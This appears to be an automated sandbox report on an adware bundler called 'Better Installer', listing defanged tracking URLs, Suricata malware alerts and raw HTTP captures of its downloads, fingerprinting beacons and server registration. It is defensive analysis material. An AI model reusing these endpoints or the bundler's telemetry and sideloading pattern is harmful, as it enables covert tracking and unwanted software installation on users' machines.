hxxp://stats.localkeymappeer.com/installer.gif?action=finished&LFMR=_ffDll_0&app=70121&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=0E91D55389BA4CD39C087C48E624576FPI&srcid=000171&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF6dHNtdHljMCxhYTE2YmFlMi05ZjQyLTQxMDAtYmI0ZC01OWRmZmNiNTFhYjEsIiwidW5xIjoiYWExNmJhZTItOWY0Mi00MTAwLWJiNGQtNTlkZmZjYjUxYWIxIn19&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&xpiver=0_95&crxver=1_26_32&silent=1&os=7(64bit)&osbuild=7601&osprod=Windows 7 Professional N&ossp=Service Pack 1&osinstdt=1363796288&admin=1&type=17179873281&asw=0&asw2=1073750533&asw3=-2147474944&asw4=34816&crtnm=na&procstarttime=1430092564&procruntime=10&rnd=1430092574 54.231.0.132
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=1&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=20131113143800&XMLUpdateFailed=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430092563&SBPIDS=0
hxxp://stats.localkeymappeer.com/apps.gif?action=install&app=70299&appver=&ver=1_36_01_22&version_date=15-04-26&bic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&upi=d5d8d8a61601751d467a5854a16ce35a&procid=40799C6222B1449CBD91767DC3DCC57BPI&srcid=000805&subid=0&zdata=eyJkYXRhIjp7ImRhdGUiOiJGNFF3c210eWMxLCUlUElYR1VJRChhZmY9c210eWMmc3ViPTEmcHJvZHVjdD15dGE=,&browser=ie&browserver=10&default=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&curtime=&country=ua&aver=X&installtime=1430092564&lifetime=0&silent=1&crtnm=na&procstarttime=1430092564&procruntime=15&rnd=1430092579 54.231.0.132
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=900&n=deploy_ff_start_funnel_step_name&rnd=1430092573 54.231.0.28
hxxp://install.theswiftrecord.com/mg?alpha=LTNPZBZtDntEJG99YE4ZLHccaRYtdU0VFVxbP1ACLWUOBxUMPVIWeygHThBGBSRXNB4sQChuXTREaEkJPjt1aWRVZFMrHX08QzZrVi9y
hxxp://rephelper.youtubeaccelerator.com/app/ping.ashx?e=wlkQ3WKgYpQDjreoyS/T2wRKgupiq7FpZCDhZ dCw2EyIvs8NVvu9kXFDxkTgufFt5aWEmvF1lmyibNNhHQuhse72nxa8 m7iViAEPFo6Yp/1ErfmLF8//Y1HJKKgNFG88zk3vjcmKQHI/73rKtKucbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXoDAbDf1f5I9gDcoAJAtAYWupXyB/g5yjGYsEX4kIHltCn qX4FpTdffopz0y2Q7Y 54.197.238.106
hxxp://online.GOOBZO.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&XMLVersion=0&UpdateReason=0&resver=1.0.0.8&VA_Aff=NONE&ElapsedTime=1430092559&SBPIDS=0
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=QHucCbLl /ZRN3UqGh1U HFOCrrBm5PrawBfIapBJ0XZhN5o5pkk8XKxIhAz9Yyq0ZANVlTfa0mqiRYw3wYJD9kq6IHSvLFkvq zYkkBMnThVOZjHwNmMLSU69xHuB8Lk6Cr9laSF2XrRbZnBny0uhv3iEz1ZNnAt9LqlyOzWzdYajJERvEzx5ndg67xTtCvTIzvqZgRdSMhhyCCQnPA7UQ2j3/SZrch4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJrkFDCJCimLsvNsA1iuxLaBO3MAaHEZgUY= 54.197.238.106
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.2720251877059125 78.138.127.15
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&0.24168472307728256 78.138.127.15
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=tXVAHsxnBG5xTgq6wZuT67oieMBEg1Sn3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dtxTFIShqYYGTBXl5O1yvgppLUb7t3Tfqh1SwsYoPoOj/tbXDF8ERkmZiqIIptrjZsWF/DPdMjeJiu0Ec1pyxRwRfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1vja5tS5o9NlIGeSzc754sgCNYkZM ZAmy2vGy3qKWeyGvneUrqbcI2M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNrZIVZUVLjKmDlNcv2CDURJiqKuNvZz53hWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj lUk/8GAeY30 54.197.238.106
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=6OELh0H WyqQVExL/6LI8JcyX3zp0quIsTadiXuEw/FQZA4QTL6INXiz8MvwnC6V7QroWSH/ZBHqMDSi8JPnXntmD8Dkx2dtx7Wk/nQyPU05nCH21lzOcrK3InHBgtbMSJ2GEE6wp4x0ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1oFr06D0Dj31jPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9ugvTy3mMGGj05dqXz9flXjHjWBFHg8CMUV6yvWJrJyWQ== 54.197.238.106
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=600&n=deploy_omaha_start_funnel_step_name&rnd=1430092569 54.231.0.28
hxxp://logs.localkeymappeer.com/monetization.gif?event=3&ibic=d5d8d8a61601751d467a5854a16ce35aIE&verifier=e9d6e2e9e6a34b6d6a4be51af1aeacc2&campaign=000805&country=ua&app=70299&os=7(64bit)&defbro=ie&chver=35.0.1916.153&ffver=29.0.1&iever=10.0.9200.16521&starttime=1430092564&asw=0_1073750533_-2147474944_34816&browser=ff&rnd=1430092564 69.16.175.42
hxxp://bi.bisrv.com/installer/ajax 78.138.127.15
hxxp://download.mozilla.org/?product=firefox-34.0.5-complete&os=win&lang=en-US 63.245.215.111
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=300&n=deploy_start_funnel_step_name&rnd=1430092567 54.231.0.28
hxxp://install.theswiftrecord.com/ii?alpha=RxYQX2ttPAB2D1BiP3VkRlJDUmtHShx3ZnIlBE4uFUpaGC5SZ3NuXBMQHDtvSF9XXgEeJisfUA8dQwN8R11sWwMrEkxCZBNKBFsoYlVrcDhqSUtONhRCU2A8PHsVGwU3T0pOc2dsZFsYQVcLLydpAWELCkIUf1ggUxlEcgszSnoCWyQQRAVgFEoHXyA7EngzbxsLHws3UxJTdz5nClBCehgSBAkyTShFP1EQAn4bZX0NFAoJR353XylbDkAFeEBCeghIdmgNEGBzKRAFfX9fJmRkYlNIWmgWUFkzbTVlQEQzVxgPDztQZ21wVgcLTwZsXxByU0kTPzkeOVwAIUEiFBYvHER2SgMffWhaFhxreVU/bjcVAAYIKVANQiVrMGhRSDUHHh8cflI7Q3IVT0QNRzoNX1ZWRhk3cyh3DEwYQCVSWwkBRG1BBlMOUhtCD30iADh3ZAEcSAx3XFpTci08cRIBdkFFWhQ/H2oQIwBFXglfMBkBHwoWTWd6S2kEREx1LB4AOUlJdkkMThloJXgrKG9JO2JkcXl5cEZHRwEuDUw/Q18iXVcqNClDKEU5YxwWSBxrRxB2GnQ0AwdNXQJTGhMJFwU1DEg/VAlOe0MUVVc/LVxrMGFsDkRdYGs=
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000805&i=500&n=deploy_notification_start_funnel_step_name&rnd=1430092573 54.231.0.28
hxxp://errors.localkeymappeer.com/utility.gif?report=fdata&f=1&c=000171&i=1200&n=deploy_watchdog_start_funnel_step_name&rnd=1430092572 54.231.0.28
hxxp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe 193.206.139.45
www.gstatic.com 216.58.209.195
www.youtube.com 216.58.209.206
ssl.gstatic.com 216.58.209.195
apis.google.com 216.58.209.206


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

SURICATA UDPv4 invalid checksum
SURICATA IPv4 invalid checksum
ET SHELLCODE Possible TCP x86 JMP to CALL Shellcode Detected
ET MALWARE Win32/Toolbar.CrossRider.A Checkin
SURICATA STREAM SHUTDOWN RST invalid ack
SURICATA STREAM Packet with invalid ack
ET MALWARE Suspicious Mozilla User-Agent - Likely Fake (Mozilla/4.0)

Traffic

GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=20048575-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Cache-Control: no-cache
Connection: Keep-Alive
Host: downloads.sourceforge.net


HTTP/1.1 302 Found
Server: nginx
Date: Sun, 26 Apr 2015 23:54:54 GMT
Content-Type: text/html; charset=UTF-8
Connection: close
content-disposition: attachment; filename="vlc-2.0.4-win32.exe"
Set-Cookie: sf_mirror_attempt="vlc:heanet:2.0.4/win32/vlc-2.0.4-win32.exe"; expires=120; Path=/
Location: hXXp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 156
302 Found..The resource was found at hXXp://heanet.dl.sourceforge.net/
project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe; you should be redirected 
automatically.  ..



GET /project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=11456329-
User-Agent: Better Installer(Mozilla)
Host: garr.dl.sourceforge.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Date: Sun, 26 Apr 2015 23:54:55 GMT
Content-Type: text/html
Content-Length: 160
Connection: keep-alive
Location: hXXp://cdn.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>....



GET /sd?is=sm HTTP/1.1
Range: bytes=196224-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.theswiftrecord.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SwiftRecordSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Mon, 27 Apr 2015 23:54:52 GMT
Date: Sun, 26 Apr 2015 23:54:52 GMT
Content-Range: bytes 196224-523263/523264
Content-Length: 327040
Connection: keep-alive
..v~t/..**[email protected]%-P.....0L.r....P8.C?k.......4!....tqQ.nJ.\.r.v..
&k...}.9..t=;d...Fe0.....b.g.."S,......a..J0.Y:.....o..]...G..4U.Xu...
L..x..F..8.(...C'...*`.i....9..K(..[.......!..<..3Z............,.g.
 '...yO.......J-...;...._.|"..g.....jD">.........*W.l9.0....@ .C...
...hm.E.m.......j.&.V...r..t-e.JW.../Q..V.1n/n...Q.z.p }Sv...t..t.....
g5C:..&@........$\ ....i..7..C B..q..6%."..zg..3......../O...{..^.._..
[email protected].|i[9...qF0{.....-Mo'...p.N'....=..#........g.4.]...7....O<
;......Ag..y.....w....C.....0a.......Ui.B......]...X.X.".w=a.sa1......
.I&..x....E_.a..K.1.~.`..p{...h....S....Pz./...G.a...O...[/......j2'y.
y.t..._.4.o.....!.......%.m..q..S...A&..*b>...C........D8...b5..=.s
.......xHc~9..5?$...g.c.]PG..m..............q....BG....|.A..Zs..;_. ..
[email protected].}.YC...Y....Y..%m.3.^}..".
./..I.u.[...z..>.......y.-6<.wU..%0/..7qJ.n!......r....7b!......
.....P..{.6......0...oB...S0F...../..=}2i.e_/...........[.i.V.}..[..i.
1...... .....h.).-}.{..f...u...f'0.....%........t.4......R....M.....p.
,..E..A.o.u5b..n..&....u.<.(.(LK... .g.........#.>.O..B`.|..0.1.
?.......07....(5.'..P..d.!7...._o...<..v^&...._A3n[S.F.._..${V{....
#,[..;..<.\n.._..uH...*.I..mN&Q...N#H.q.n.=.!...48.......SN..2.4'..
.....g..6WY.D......._..W*.v..=.>[email protected].........|D9i/..y.|W@.
..... .8..t...M....q..x..$P..i..?%$......j...z.C..@.,p.vW..!y..v.I....
~"9...X>......NA....5j.E...q[.....Y...h...O=cS.fU..D.]..<....r..
3f.....3..!x..[t..SO. ....u1.m{Z"..Jw....O*..SG*..?TYb......x.~...
<<< skipped >>>


GET /?gfe_rd=cr&ei=7no9VY2BNofDNOipgJgH HTTP/1.1
Host: VVV.google.com.ua
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0
Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: keep-alive


HTTP/1.1 302 Found
Location: hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=7no9VY2BNofDNOipgJgH&gws_rd=ssl
Cache-Control: private
Content-Type: text/html; charset=UTF-8
Set-Cookie: PREF=ID=e27758e6f6244c4b:FF=0:TM=1430092527:LM=1430092527:S=YZcRxln9UzhrshHE; expires=Tue, 25-Apr-2017 23:55:27 GMT; path=/; domain=.google.com.ua
Set-Cookie: NID=67=rkZdOWrMcnqpftP-P0LBF9ER_sl9J7TtOHqG_ovX_gBX_dM1RlSz1T2ktf04UW1N6fpauU143tj3dHBLw3Nv3EVOLOEM46zJbVn-w0xnLcIMeWBExhimO_a9j82QZ6Eg; expires=Mon, 26-Oct-2015 23:55:27 GMT; path=/; domain=.google.com.ua; HttpOnly
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/accounts/bin/answer.py?hl=en&answer=151657 for more info."
Date: Sun, 26 Apr 2015 23:55:27 GMT
Server: gws
Content-Length: 276
X-XSS-Protection: 1; mode=block
X-Frame-Options: SAMEORIGIN
Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&ei=7no9VY2BNof
DNOipgJgH&gws_rd=ssl">here</A>...</BODY></HTML&g
t;..HTTP/1.1 302 Found..Location: hXXps://VVV.google.com.ua/?gfe_rd=cr
&ei=7no9VY2BNofDNOipgJgH&gws_rd=ssl..Cache-Control: private..Content-T
ype: text/html; charset=UTF-8..Set-Cookie: PREF=ID=e27758e6f6244c4b:FF
=0:TM=1430092527:LM=1430092527:S=YZcRxln9UzhrshHE; expires=Tue, 25-Apr
-2017 23:55:27 GMT; path=/; domain=.google.com.ua..Set-Cookie: NID=67=
rkZdOWrMcnqpftP-P0LBF9ER_sl9J7TtOHqG_ovX_gBX_dM1RlSz1T2ktf04UW1N6fpauU
143tj3dHBLw3Nv3EVOLOEM46zJbVn-w0xnLcIMeWBExhimO_a9j82QZ6Eg; expires=Mo
n, 26-Oct-2015 23:55:27 GMT; path=/; domain=.google.com.ua; HttpOnly..
P3P: CP="This is not a P3P policy! See hXXp://VVV.google.com/support/a
ccounts/bin/answer.py?hl=en&answer=151657 for more info."..Date: Sun, 
26 Apr 2015 23:55:27 GMT..Server: gws..Content-Length: 276..X-XSS-Prot
ection: 1; mode=block..X-Frame-Options: SAMEORIGIN..Alternate-Protocol
: 80:quic,p=1..<HTML><HEAD><meta http-equiv="content-ty
pe" content="text/html;charset=utf-8">.<TITLE>302 Moved</T
ITLE></HEAD><BODY>.<H1>302 Moved</H1>.The d
ocument has moved.<A HREF="hXXps://VVV.google.com.ua/?gfe_rd=cr&
;ei=7no9VY2BNofDNOipgJgH&gws_rd=ssl">here</A>...</
<<< skipped >>>


GET /t.ashx?e=NEjPoAxksx2BXOBJ2d DUUZcsUmwT5WOQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMawgCKRqkxlIbWqD2Y/eB8k13hWqFICGTYI5VW8cJNvkmOBvq/txek 2HvVBBJHZ5G2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:39 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=NEjPoAxksx2BXOBJ2d DUUZcsUmwT5WOQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMawgCKRqkxlIbWqD2Y/eB8k13hWqFICGTYI5VW8cJNvkmOBvq/txek 2HvVBBJHZ5G2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhsk....


GET /t.ashx?e=NEjPoAxksx2BXOBJ2d DUUZcsUmwT5WOQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMawgCKRqkxlIbWqD2Y/eB8k13hWqFICGTYI5VW8cJNvkmOBvq/txek 2HvVBBJHZ5G2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: xqjdaibxl-g48pastf.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 13
Connection: keep-alive
Cache-Control: private,no-cache, no-store
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
abfgshdgfjhskHTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:40 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..



GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&0.5615464993509336 HTTP/1.1
Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:55:19 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:55:19 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.2330230267600375 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:55:21 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:55:21 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe HTTP/1.1
Range: bytes=20048575-
User-Agent: Better Installer(Mozilla)
Connection: Keep-Alive
Cache-Control: no-cache
Host: cdn.mirror.garr.it


HTTP/1.1 302 Moved Temporarily
Server: nginx/1.8.0
Content-Type: text/html
Location: hXXp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
Content-Length: 160
Accept-Ranges: bytes
Date: Sun, 26 Apr 2015 23:54:55 GMT
X-Varnish: 1562192578 1561478658
Age: 19440
Via: 1.1 varnish
Connection: keep-alive
X-Cache: HIT
<html>..<head><title>302 Found</title></hea
d>..<body bgcolor="white">..<center><h1>302 Found
</h1></center>..<hr><center>nginx/1.8.0</ce
nter>..</body>..</html>..HTTP/1.1 302 Moved Temporarily
..Server: nginx/1.8.0..Content-Type: text/html..Location: hXXp://downl
oads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe..Cont
ent-Length: 160..Accept-Ranges: bytes..Date: Sun, 26 Apr 2015 23:54:55
 GMT..X-Varnish: 1562192578 1561478658..Age: 19440..Via: 1.1 varnish..
Connection: keep-alive..X-Cache: HIT..<html>..<head><ti
tle>302 Found</title></head>..<body bgcolor="white"&
gt;..<center><h1>302 Found</h1></center>..<
hr><center>nginx/1.8.0</center>..</body>..</ht
ml>....



GET /online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.5&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1
User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache


HTTP/1.1 200 OK
Cache-Control: private
Content-Length: 98
Content-Type: text/html; charset=utf-8
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
Set-Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45; path=/; HttpOnly
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:57 GMT
<RESULT>.<USER>.<ID>da016b75-2f76-45d2-9c78-4fb8bb7b
9126</ID>.<PW>6eoZ2woz</PW>.</USER>.</RESUL
T>.....


GET /online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1 HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
Cookie: ASP.NET_SessionId=to2v1k55oqtcbl552wqljy45


HTTP/1.1 302 Found
Cache-Control: private
Content-Length: 1362
Content-Type: text/html; charset=utf-8
Location: hXXp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1
Server: Microsoft-IIS/7.5
X-AspNet-Version: 2.0.50727
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:55:57 GMT
<html><head><title>Object moved</title></he
ad><body>..<h2>Object moved to <a href="hXXp://onlin
e.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&U
serID=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&O
S=10&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16ba
e2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&a
mp;PartnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1">h
ere</a>.</h2>..</body></html>....<!DOCTYPE 
html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "hXXp://VVV.w3.or
g/TR/xhtml1/DTD/xhtml1-transitional.dtd">..<html xmlns="hXXp://w
ww.w3.org/1999/xhtml" >..<head><title>...Untitled Page.
.</title></head>..<body>..    <form name="form1" 
method="post" action="ka.aspx?CV=2.0.0.0&ProductID=12000&UserI
D=da016b75-2f76-45d2-9c78-4fb8bb7b9126&Password=6eoZ2woz&OS=10
&V=3.3.9.5&VS=0&Beta=0&Aff=smtyc0_0_0_0_0,aa16bae2-9
f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&P
artnerList=&ElapsedTime=1430092557&SBPIDS=1&KA=1" id="form
1">..<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" va
lue="/wEPDwUJNzgzNDMwNTMzZGRruuqL609oYLPDXeJ2kVAqD/K6mQ==" />..<
input type="hidden" name="__VIEWSTATEGENERATOR" id="__VIEWSTATEGENERAT
OR" value="E8033FCD" />..    <div>..    ..    </div>.. 
   </form>..</body>..</html>......
<<< skipped >>>

GET /online/RegisterAnon.aspx?ProductID=12000&Aff=smtyc0_0_0_0_0,aa16bae2-9f42-4100-bb4d-59dffcb51ab1,&BundleID=NONE&BrandID=NONE&PartnerList= HTTP/1.1


User-Agent: CoreWinInet
Host: online.GOOBZO.com
Cache-Control: no-cache
